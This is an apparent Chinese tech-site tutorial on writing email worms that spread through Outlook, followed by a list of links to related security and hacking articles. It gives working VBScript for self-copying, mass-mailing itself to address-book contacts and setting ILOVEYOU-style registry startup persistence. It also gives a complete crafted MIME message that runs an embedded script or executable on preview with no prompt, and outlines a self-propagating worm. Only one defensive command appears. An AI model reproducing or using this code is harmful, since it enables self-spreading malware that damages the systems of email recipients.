如何利用OutLook漏洞编写病毒脚本
据称目前已经发现唯一不能通过outlook传播的病毒口蹄疫已经被发现,看来微软也可以得以一阵子了。开个玩笑,outlook在传播病毒上真是臭名昭著,像iloveyou,梅莉莎等等产生过很大破坏力的病毒都是通过outlook传播的。其根本原因就是outlook的人性化,与脚本的高度集成,复杂性等等,正是由于这些原因导致了病毒的传播。 =版权所有 网络 下载 学院 版权所有下面我们看一下outlook传播病毒的机理:
首先看看病毒的几大特征:自我复制性,传播性,潜伏性。我们收先看看自我复制性。病毒要向传播必须将自身复制借由其他邮件或本身发送出去,outlook传播的病毒基本上都是由vbscript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能的。
set so=createobject("scripting.filesystemobject")
so.getfile(wscript.scriptfullname).copy("c:\dateiname.vbs")
就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创建一个文件系统对象,第二行前面是打开这个脚本文件,wscript.scriptfullname指明是这个程序本身,是一个完整的路径文件名。getfile函数获得这个文件,copy函数将这个文件复制到c盘根目录下dateiname.vbs这个文件。这就是大多数利用vbscript编写的病毒的一个特点。从这里可以看出,禁止了filesystemobject这个对象就可以很有效的控制这种病毒的传播。下面的这条命令可以禁止文件系统对象。
regsvr32 scrrun.dll /u
=版权所有 网络 下载 学院 版权所有
我们再看看传播性。病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于outlook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过outlook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:
set ol=createobject("outlook.application")
on error resume next
for x=1 to 50
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi").addresslists(1).addressentries(x)
mail.subject="betreff der e-mail"
mail.body="text der e-mail"
mail.attachments.add("c:\dateiname.vbs")
mail.send
next
ol.quit
这一小段代码的功能是向地址簿中的前50个用户发送电子邮件,并将脚本自己作为附件。第一行是创建一个outlook的对象。下面是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。
至于潜伏,则多数是修改注册表等信息以判断各种条件及取消一些限制。比如下面从iloveyou病毒中取出的部分代码:
on error resume next
dim wscr,rr
set wscr=createobject("wscript.shell")
rr=wscr.regread("hkey_current_user\software\microsoft\windows scripting host\settings\timeout")
if (rr>=1) then
wscr.regwrite "hkey_current_user\software\microsoft\windows scripting host\settings\timeout",0,"reg_dword"
end if
很明显是调整脚本语言的超是设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
regcreate "hkey_local_machine\software\microsoft\windows\currentversion\run\mskernel32",dirsystem&"\mskernel32.vbs"
regcreate "hkey_local_machine\software\microsoft\windows\currentversion\runservices\win32dll",dirwin&"\win32dll.vbs"
其中mskernel32.vbs和win32dll.vbs是病毒脚本的一个副本。
iloveyou病毒还做了一些其它的修改。
从上面可以看出其实写一个通过outlook传播的电子邮件病毒很简单。但是作为附件传播,这种传播的效率可能就会打些折扣。下面的一种方法是根据最新的ie的漏洞利用的。下面是这个漏洞的一些情况:
from: "xxxxx"
subject: mail
date: thu, 2 nov 2000 13:27:33 +0100
mime-version: 1.0
content-type: multipart/related;
type="multipart/alternative";
boundary="1"
x-priority: 3
x-msmail-priority: normal
--1
content-type: multipart/alternative;
boundary="2"
--2
content-type: text/html;
charset="iso-8859-1"
content-transfer-encoding: quoted-printable
<html>
<head>
</head>
<body bgcolor=3d#ffffff>
<iframe src=3dcid:the-cid height=3d0 width=3d0></iframe>
i will create the file c:\deleteme.txt<br>
</body>
</html>
--2--
--1
content-type: audio/x-wav;
name="hello.vbs"
content-transfer-encoding: quoted-printable
content-id: <the-cid>
set objfilesystem =3d createobject("scripting.filesystemobject")
set objoutputfile =3d objfilesystem.createtextfile("c:\deleteme.txt", 1)
objoutputfile.writeline("you can delete this file.")
objoutputfile.close
msgbox "i have created the file : c:\deleteme.txt"
--1
上面的这个程序的例子是表明当双击附件的时候outlook是不会提示你安全信息的,它是直接执行的。这仅仅是将整个上面这些作为附件发送的情况。其实这个文件直接发送给对方,对方只要将焦点移到这一主题上就会执行这个脚本。因此这一漏洞将更加有效的传播电子邮件病毒。产生上面这个漏洞的原因大概是采用html发送方式其背景音乐文件没有作检查,导致脚本,应用程序等被执行。采用不同的编码就可以将脚本,命令行命令,可执行文件等内嵌在邮件中。注意上面的一行:
name="hello.vbs"
这个文件名可以任意命名,如果是脚本则需要vbs扩展名,如果是命令行命令则应该是bat或cmd结尾。如果是脚本或这种文本方式的命令,则编码方式应为:quoted-printable
content-transfer-encoding: quoted-printable
如果是应用程序则文件名应该改为exe扩展名:
name="hello.exe"
编码方式应该改为uumime(base64)编码:
content-transfer-encoding: quoted-printable
然后将应用程序进行base64编码插入到:
content-id: <the-cid>
--1
之间。这样就构造好了一封信。发送的时候可以选择quack写的perl程序,也可以采用我写的windows上的傻瓜程序。 =版权所有 网络 下载 学院 版权所有
根据上面的经验,可以写一个应用程序,这个应用程序就是病毒,它首先对自身进行base64编码,然后再将这个编码嵌入到上面这个邮件中,然后向地址簿中的电子邮件地址发送这个电子邮件。收到这个电子邮件的用户当焦点再这个主题上时这个应用程序就会立刻被执行而没有任何提示,执行的结果是和上面一样,先将自身编码,在插入到邮件,在向地址簿中的电子邮件地址发送。如此传播。问题是应用程序对地址簿的读取没有脚本那么容易,而且应用程序的大小也要比脚本大很多。采用脚本编写的话则在发送邮件中比较难于处理成一点即运行的方式。也许是本人对于脚本语言知之甚少的缘故吧。另外在处理复制中也有些困难。因为再另一端执行时脚文件值包含这些脚本命令,而不包含上面的额外的东西。所以处理起来也比较困难
- · “混客绝情炸弹”源代码(1)及手工清除
- · “求职信”病毒/蠕虫行为深入分析
- · 编写感染COM与EXE文件的病毒的样例程序
- · 在Win 2003中配置ASP.net环境
- · 将病毒斩草除根
- · 手机病毒
- · 使用TCP/IP协议栈指纹进行远程操作系统辨识
- · 安全维护 IIS asp 站点的高级技巧
- · 防止内部IP地址泄漏的2种方法
- · 网络常见攻击与防范完全手册
- · Windows NT2000下的硬盘锁
- · CIH硬盘数据恢复方法与实例
- · 清除双关联木马“聪明基因”
- · 104种木马手工清除方法
- · 如何隐藏程序的运行
- · 六十四、WINOWS NT4.0下的网络安全性
- · 六十二、从DOS直接入网NT
- · 六十一、NT网的无盘工作站远程登陆
- · 六十、Windows NT4.0网络中漫游用户配置文件的建立
- · 五十九、配置广域网中的Windows NT
- · 五十八、NT Server用作Internet的网关
- · 五十六、 NT网卡和Novell网卡互用
- · 五十四、如何使NT4.0支持你的调制解调器
- · 本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
- · 计算机网络系统安全漏洞分类研究
- · 利用万象来控制整个网吧
- · WIN2000的输入法入侵
- · 傲者TXT炸弹(标准版)
- · 主页木马的制作方法
- · IIS UNICODE Bug
- · BBS3000漏洞
- · CGI漏洞集锦
- · SNMP漏洞威胁网络安全
- · 安全专家欲以黑制黑
- · 用net命令使局域网文件批量同步更新
- · 安全高招:让溢出攻击远离我们
- · Firefox使用技巧六则
- · 支持Rss,优化速度:傲游1.2.0发布
- · 四十九、从DOS工作站登录NTS4.0服务器
- · 十三、WIN2000下的xcopy可以复制文件的安全设置
- · “网上邻居”如何和平共处?
- · NT的19个秘密武器
- · 如何在WIN2000下共享ADSL
- · MyIM聊天软件全接触——手把手教你玩转MyIM
- · 手把手教你玩压缩:WinRAR初级教程
- · 消除误解 认清容易被误认为病毒的系统文件
- · 用WinRAR解密木马捆绑的原理
- · 微软IE面临失宠 而使用安全性更好的浏览器
- · 支持半透明窗口,Mozilla再度更新
- · MBSA新版鉴别错误的安全设置更方便!
- · 新版六月末发布:Myie2将会改名Maxt
- · 让你的“添加/删除程序”充满个性
- · 解析微软Update在线升级功能
- · 常用的电脑操作精典秘籍
- · Windows中提高内存使用效率的绝技
- · Windows 98远程控制的实现
- · Windows 2000远程控制的实现
- · Windows XP“远程桌面”的应用
- · Windows XP远程控制的实现
- · 远程控制技术的应用

